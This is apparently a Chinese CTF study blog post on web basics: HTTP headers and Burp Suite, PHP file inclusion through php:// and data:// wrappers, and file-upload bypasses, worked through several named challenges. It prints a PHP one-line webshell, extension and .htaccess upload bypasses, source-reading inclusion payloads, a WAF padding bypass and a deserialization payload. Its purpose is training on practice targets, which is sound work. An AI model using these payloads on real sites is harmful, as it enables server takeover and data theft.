web基础3:文件包含和文件上传
HTTP报文
使用Burp抓包和修改时,需要学会去看HTTP的请求报文,包含了客户端发送给服务器的额外信息,这些信息可以帮助服务器更好地处理请求。有些题甚至对请求头做了限制,所以就需要学会看HTTP头。
报文格式
报文分为请求报文和响应报文。请求报文包括以下部分:
请求行:包括请求方法、URL 和 HTTP 版本。
请求头:包括客户端和服务器之间的交互信息,例如浏览器类型、语言、Cookie 等。
请求体:POST 请求时传递的数据,例如表单数据。
响应报文包括以下部分:
状态行:包括协议版本、状态码和状态信息。
响应头:包括服务器和客户端之间的交互信息,例如响应的时间、响应长度等。
响应体:服务器返回的数据,例如 HTML 页面或 JSON 数据。
状态信息
状态信息在HTTP中用一个三位数数字表示,表示对服务器请求的处理结果。常见的状态码包括:
1xx:已收到请求,需要客户端的继续操作。
2xx:成功,服务器成功处理了请求。
3xx:重定向,需要客户端进一步操作才能完成请求。
例如在接受到的响应报文为:
1
2
3
4
5
6
7
8 302 Found
Date: Fri, 02 Aug 2024 07:52:10 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Location: ./secretttt.php
Content-Length: 60
Connection: close
Content-Type: text/html; charset=UTF-8发现返回302,页面已经被重定向,存在参数
Location: ./secretttt.php
,想要继续浏览就要到./secretttt.php
。
4xx:客户端错误,表示客户端发送请求有误。
5xx:服务器错误,服务器处理请求时发生了错误。
此外,存在HTTP的状态消息,通常和状态码一起发送给客户端。例如200的“OK”,404的“Not Found”,500的”Internal Server Error“。
请求头
HTTP 请求头是指在客户端向服务器发送 HTTP 请求时,携带的附加信息。它包含了一些键值对,用于告诉服务器一些关于请求的额外信息。
它由多行文本构成,每行文本包含一个键值对。常见的请求头为:
User-Agent:浏览器或其他客户端的标识信息。
Accept:客户端支持的数据类型。
Content-Type:请求体的 MIME 类型。
Authorization:身份验证信息,用于访问需要授权的资源。
Referer:请求来源 URL。
Cookie:包含存储在客户端的 cookie 数据。
例如一个常见的HTTP请求头:
1 | GET /index.html |
服务器就可以根据这个请求头信息进行不同处理。
有时为了绕过某些题目的请求头限制,需要我们去修改抓的包中的请求头,如:
本地访问:
1 | X-Forwarded-For:127.0.0.1 |
通常用于只限本地访问,IP禁用情况。
来源修改:
1 | Referer: 修改值 |
用于提示是从哪里过来的,比如是网页从google过来的,那么就有:
Referer: https://www.google.com
浏览器修改:
1 | User-agent: 修改值 |
Cookie修改:
1 | Set-cookie: 修改值 |
代理修改:
1 | Via: 修改值 |
邮箱修改:
1 | From: 修改值 |
Burp基本操作
在Proxy模块,Intercept is off变为Intercept is on,然后开始在浏览器打开网页,网页没被打开,而是直接被抓进了Burp里,这就是抓包成功了。
修改包操作:把抓到的包右键点击Send to Repeater,然后点击Repeater(重放器),接下来就可以修改请求头的内容了。
文件包含
文件包含漏洞是一种注入型漏洞,用户输入一段可控脚本或者代码,让服务端执行。
在php中会引发文件包含漏洞的通常有四个危险函数:
1 | include() |
include()
找不到文件只会产生警告,脚本会继续执行。
require()
找不到被包含的文件会产生内部致命错误,使脚本停止执行。
include_once()
和include的唯一区别是如果该文件重复调用时只调用一次。
require_once()
和require的唯一区别是如果该文件重复调用时只调用一次。
文件包含伪协议
协议格式:协议+://
+内容。下面是一些php的常见协议:
file://
:访问本地文件系统,在不写协议名字的情况下,默认是file协议。支持这个相对路径和绝对路径。
http://
:访问 HTTP(s) 网址,可以获取远程的内容,返回到本地,也可以用包含函数包含远程文件,可以直接读取远程的php文件在本地执行,RCE。
ftp://
:默认21端口,进行文件传输的协议。
php://
:访问各个输入输出流(IO streams),在CTF中经常使用的是php://filter
和php://input
。php://filter
用于读取源码,php://input
用于执行php代码。
通常情况下,当通过 Web 服务器访问一个 PHP 文件时,例如通过 URL
http://example.com/flag.php
,Web 服务器会将请求转发给 PHP 解释器。PHP 解释器随后解析并执行文件中的 PHP 代码,并将执行结果返回给 Web 服务器,再由 Web 服务器返回给客户端。所以通常我们看到的是经过解释器执行之后的结果,而不是源码。所以,为了得到我们想要获取文件的源码,需要使用
php://filter
协议,常见的如:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
这里的read不是一个特定编程语言的关键字或者函数,而是PHP中用来执行数据流操作的一种方法,后面需要接某个过滤器名称,例如上面的例子中使用了Base64编码的过滤器。后接
resource=
是我们要读取的资源。
data://
:类似php://input
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data流会被当作php文件执行,从而导致任意代码执行。
文件上传
顾名思义就是在网上上传文件,当服务器后端语言未对上传的文件进行严格的验证和过滤,就会造成上传任意文件包括恶意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器。
恶意代码文件就是php、asp、aspx、jsp等,也被称为webshell。
常用的PHP一句话木马:
1 | eval($_POST['r00ts']); @ |
举个例子,拿[SWPUCTF 2021 新生赛]easyupload1.0来操作:
提供了一个上传文件的操作,我们可以直接传一个一句话木马:
1 | eval($_POST['r00ts']); @ |
把这个木马写在一个文件里,命名为.jpg
文件,通过测试发现这个题目只让上传jpg文件。
这里的过滤是在前端进行的过滤,接下来可以通过抓包再将发送的文件改为jpg文件:
在抓到的包中发现了这些内容:
1 | ------WebKitFormBoundarynnAURIsW84di26Jv |
我们把filename改成php文件,然后发送。得到提示:
1 | ./upload/upload.php succesfully uploaded! |
接下来使用蚁剑连接,连接时根据题目提示的地址去写,连接的密码就是我们在木马中填的POST的东西:
连上找到flag.php发现并不是真正的flag。这题flag其实在phpinfo里,我们传入这个木马之后,实际上即可对其进行POST传参,且套了eval可以执行代码,在环境变量里找到了flag:
题目复现
include
取自SWPUCTF 2021 新生赛。
连上靶机之后提示:
根据他的提示随便传入一个参数:
发现有个include,是文件包含漏洞,构造payload:
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
得到的base64加密的编码进行解码即可得到flag。
PseudoProtocols
取自SWPUCTF 2021 新生赛。
提示去找一个hint.php,用伪协议读取文件:
1 | wllm=php://filter/read=convert.base64-encode/resource=hint.php |
得到的base64去解码:
1 |
|
1 |
|
题目给了一个a参数,找到这个参数代表的文件并读,如果内容是I want flag
就给flag。
这里用到data伪协议,用法:
1 | /?a=data://text/plain,I want flag |
这样的话函数读就读到了I want flag
,得到flag。
或者可以使用
php://input
也可以。直接构造
/?a=php://input
,然后POST传参一个I want flag
就可以了。
easyupload2.0
刚刚做了easyupload1.0,现在来看看2.0:
再用刚刚的方法用burp传入一句话木马,并将jpg改为php文件:
报了一个php是不行的,这里可以使用phtml绕过。
一些简单的绕过后缀:
1
2
3
4
5
6
7 ASP: asa、cer、cdx
ASPX: ashx、asmx、ascx、esms
PHP: php4、php5、phtml
JSP: jspx、jspf
改为phtml之后上传成功,使用蚁剑连接:
在上层目录里找到flag.php,得到flag。
easyupload3.0
接下来是3.0:
这题用同样的方法传入木马,改后缀,发现都不行,会被拦截。注意到题目提示要和某些文件配合。这里提示我们需要先上传一个黑名单文件,再上传一句话木马文件。
这里我们用到htaccess文件,可以通过这种文件实现网页页面重定向,改变文件名,目录的访问等。而对于htaccess文件的内容,只要符合php编码规则即可。根据这题的要求,构造htaccess文件:
1 | <FilesMatch "upload.jpg"> |
意思就是用php解释器来解析这个jpg文件,达到我们不需要改写后缀也能实现php文件的功能。
先上传htaccess,再上传jpg文件,就可以链接了:
注意这里的htaccess文件不需要文件名,直接命名为
.htaccess
即可。
根目录下找到flag。
简单包含
取自鹏程杯2022:
1 |
|
尝试直接使用php伪协议:
1 | flag=php://filter/read=convert.base64-encode/resource=flag.php |
返回了一个WAF提示,看来被拦截了,但是并不知道是什么拦截,尝试看一下源码:
1 | flag=php://filter/read=convert.base64-encode/resource=index.php |
解码:
1 |
|
发现判断是strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)
,要想绕过这个判断,发现有一个strlen,干脆直接构造一个超长的payload大于800就可以了:
1 | a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=index.php |
NiZhuanSiWei
选自ZJCTF2019,一道不错的综合题目:
1 |
|
需要传入三个参数,text用前面学的data伪协议来绕过,file按照提示用php伪协议先查看useless.php,至于这个password暂时不知道有什么用,先随便传入一个:
1 | /?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password= |
1 |
|
发现一个__toString()
,在题目源代码中最后是用到了echo $password;
,所以构造Flag的对象使其反序列化能保证魔术方法触发,依靠这个魔术方法可以得到flag.php的内容。
先构造出一个序列化的Flag:
1 |
|
构造payload:
1 | /?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
发现得到了输出,但是没有flag,打开F12发现flag被注释掉了,得到flag: